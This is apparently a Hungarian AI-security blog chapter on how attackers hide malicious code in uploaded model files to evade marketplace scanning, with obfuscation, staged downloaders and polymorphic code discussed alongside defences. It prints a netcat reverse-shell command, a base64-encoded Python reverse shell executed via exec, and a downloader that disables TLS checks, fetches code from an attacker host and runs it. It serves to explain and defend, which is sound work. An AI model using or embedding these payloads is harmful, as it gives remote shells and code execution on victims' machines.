29.1.3. Ellenőrzés-megkerülési technikák

2025.10.06.
AI Biztonság Blog

A modell piacterek üzemeltetői nincsenek teljesen védtelenek a kártékony feltöltésekkel szemben. Különböző statikus és dinamikus elemző eszközöket, víruskeresőket és szignatúra-alapú szűrőket vetnek be, hogy a legnyilvánvalóbb veszélyeket kiszűrjék. A támadók célja tehát nem csupán egy rosszindulatú modell létrehozása, hanem annak olyan formába öntése, amely átcsúszik ezen a védelmi hálón. Ez egy klasszikus macska-egér játék, ahol a védekezés reaktív, a támadás pedig proaktív.

Kapcsolati űrlap

AI Biztonság kérdésed van? Itt elérsz minket:

Ebben a részben azokat a kulcsfontosságú technikákat vizsgáljuk meg, amelyekkel a támadók láthatatlanná teszik a kártékony kódot a modellfájlokon belül, kijátszva ezzel a platformok beépített biztonsági ellenőrzéseit.

Az obfuszkáció és kódolás fegyvere

A legegyszerűbb és leggyakrabban alkalmazott módszer a kártékony payload (a végrehajtandó rosszindulatú kód) elrejtésére az obfuszkáció. A cél az, hogy a kódot az automatizált szkennerek számára olvashatatlanná tegyük, miközben a célrendszer (pl. a Python interpreter) számára tökéletesen értelmezhető és futtatható marad. Ez olyan, mintha egy titkos üzenetet egy ártalmatlannak tűnő versbe rejtenél; a szavak ugyanazok, de a jelentés rejtve van a felszínes szemlélő elől.

A leggyakoribb formák közé tartozik a base64 kódolás, a hexadecimális reprezentáció vagy akár egyedi titkosítási rétegek alkalmazása. A modell betöltésekor egy apró, ártalmatlannak tűnő dekódoló rutin visszaállítja és végrehajtja az eredeti, kártékony kódot.

Példa: Base64 kódolású payload

Tegyük fel, a támadó célja egy egyszerű reverse shell indítása. A nyers kód könnyen detektálható lenne.

# Eredeti, könnyen felismerhető kártékony kód
import os
os.system("nc -e /bin/sh 10.0.0.1 4444")

Ehelyett a támadó base64-be kódolja a parancsot, és egy `exec` hívásba ágyazza a dekódolást.

# Obfuszkált verzió, amely nehezebben detektálható
import base64
import os

# A kártékony parancs: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
# A fenti parancs base64 kódolt formája:
encoded_payload = b'aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjAuMC4xIiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw=='

# A modell __reduce__ metódusában elrejtve a futtatáskor lefut:
exec(base64.b64decode(encoded_payload))

Kritikai elemzés

  • Erősség: Rendkívül hatékony az egyszerű, szignatúra-alapú keresők ellen, amelyek konkrét stringeket (pl. `os.system`, `subprocess.call`) keresnek a fájlokban.
  • Gyengeség: A kifinomultabb statikus elemzők képesek felismerni a gyakori kódolási mintákat (pl. `base64.b64decode` + `exec`) és figyelmeztetést generálni. A dinamikus elemzés (sandbox) pedig futás közben leleplezi a tényleges viselkedést.

Többlépcsős payloadok és dinamikus betöltés

Egy még kifinomultabb technika a felelősség szétválasztása. Ahelyett, hogy a teljes kártékony kódot a modellfájlba ágyaznák, a támadók csak egy minimális „letöltő” (downloader) vagy „csöpögtető” (dropper) komponenst helyeznek el benne. Ez a kis kódrészlet önmagában ártalmatlan: egyetlen feladata, hogy a modell betöltése után csatlakozzon egy távoli, támadó által kontrollált szerverhez (C2 – Command and Control), és onnan töltse le a tényleges, kártékony payload második szakaszát (second stage payload).

Ez a módszer rendkívül hatékonyan kerüli meg a feltöltéskori ellenőrzéseket, mivel a vizsgált fájl (`model.pkl`, `pytorch_model.bin`) semmi gyanúsat nem tartalmaz. A rosszindulatú tevékenység csak a végfelhasználó környezetében, futásidőben kezdődik.

1. Modell feltöltése Ártalmatlan letöltővel 2. Piactér ellenőrzése Sikeres (nincs payload) 3. Felhasználói letöltés 4. C2 Szerver Kártékony payload

Példa: Dinamikus kódbetöltés URL-ről

# A modell fájlban elrejtett letöltő kód
import urllib.request
import ssl

# A tanúsítvány-ellenőrzés kikapcsolása a lehallgatás elkerülésére
# és a self-signed cert-ek engedélyezésére
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

try:
 # A támadó által kontrollált URL, ahonnan a tényleges kód érkezik
 url = "https://attacker-domain.com/payload.py"
 
 # A kód letöltése a memóriába
 with urllib.request.urlopen(url, context=ctx) as response:
 second_stage_code = response.read()
 
 # A letöltött kód végrehajtása
 if second_stage_code:
 exec(second_stage_code)
except Exception as e:
 # Hiba esetén csendben marad, nem kelt gyanút
 pass

Kritikai elemzés

  • Erősség: Majdnem teljesen immunis a statikus elemzésre, mivel a kártékony logika nincs jelen a vizsgált fájlban. Lehetőséget ad a támadónak, hogy a payloadot dinamikusan frissítse, vagy csak bizonyos célpontok (IP cím, környezeti változók) esetén küldje el a kártékony kódot.
  • Gyengeség: Futásidejű hálózati forgalom-elemzéssel (egress filtering) detektálható. Ha a C2 szerver elérhetetlenné válik vagy lelepleződik, a támadás meghiúsul. A sandbox környezetek, amelyek blokkolják a külső hálózati hívásokat, szintén hatástalanítják ezt a technikát.

Polimorf és metamorf kód

A legfejlettebb támadók a vírusírók klasszikus technikáit veszik át, és polimorf vagy metamorf generátorokat készítenek. Ahelyett, hogy egyetlen statikus, obfuszkált kódot használnának, egy automatizált rendszer minden egyes feltöltéshez vagy akár letöltéshez egy szintaktikailag egyedi, de funkcionálisan azonos kártékony kódot generál.

Ez magában foglalhatja:

  • Változó- és függvénnevek véletlenszerűsítését.
  • Felesleges, „zaj” kód (pl. értelmetlen matematikai műveletek) beillesztését.
  • A kódstruktúra átrendezését, a logikai blokkok sorrendjének felcserélését.
  • Különböző kódolási és titkosítási rétegek véletlenszerű kombinálását.

Ezzel a módszerrel a szignatúra-alapú detekció gyakorlatilag lehetetlenné válik, mivel nincsen két egyforma minta, amire egy szabályt lehetne írni. Minden egyes modellfájl egyedi ujjlenyomattal rendelkezik, ami megnehezíti a védelmi rendszerek dolgát.

A védekezés ezen a ponton már nem támaszkodhat statikus elemzésre. Heurisztikus analízisre, viselkedés-alapú detekcióra és anomáliafigyelésre van szükség a modell futtatókörnyezetében, ami jelentősen komplexebb és erőforrás-igényesebb feladat.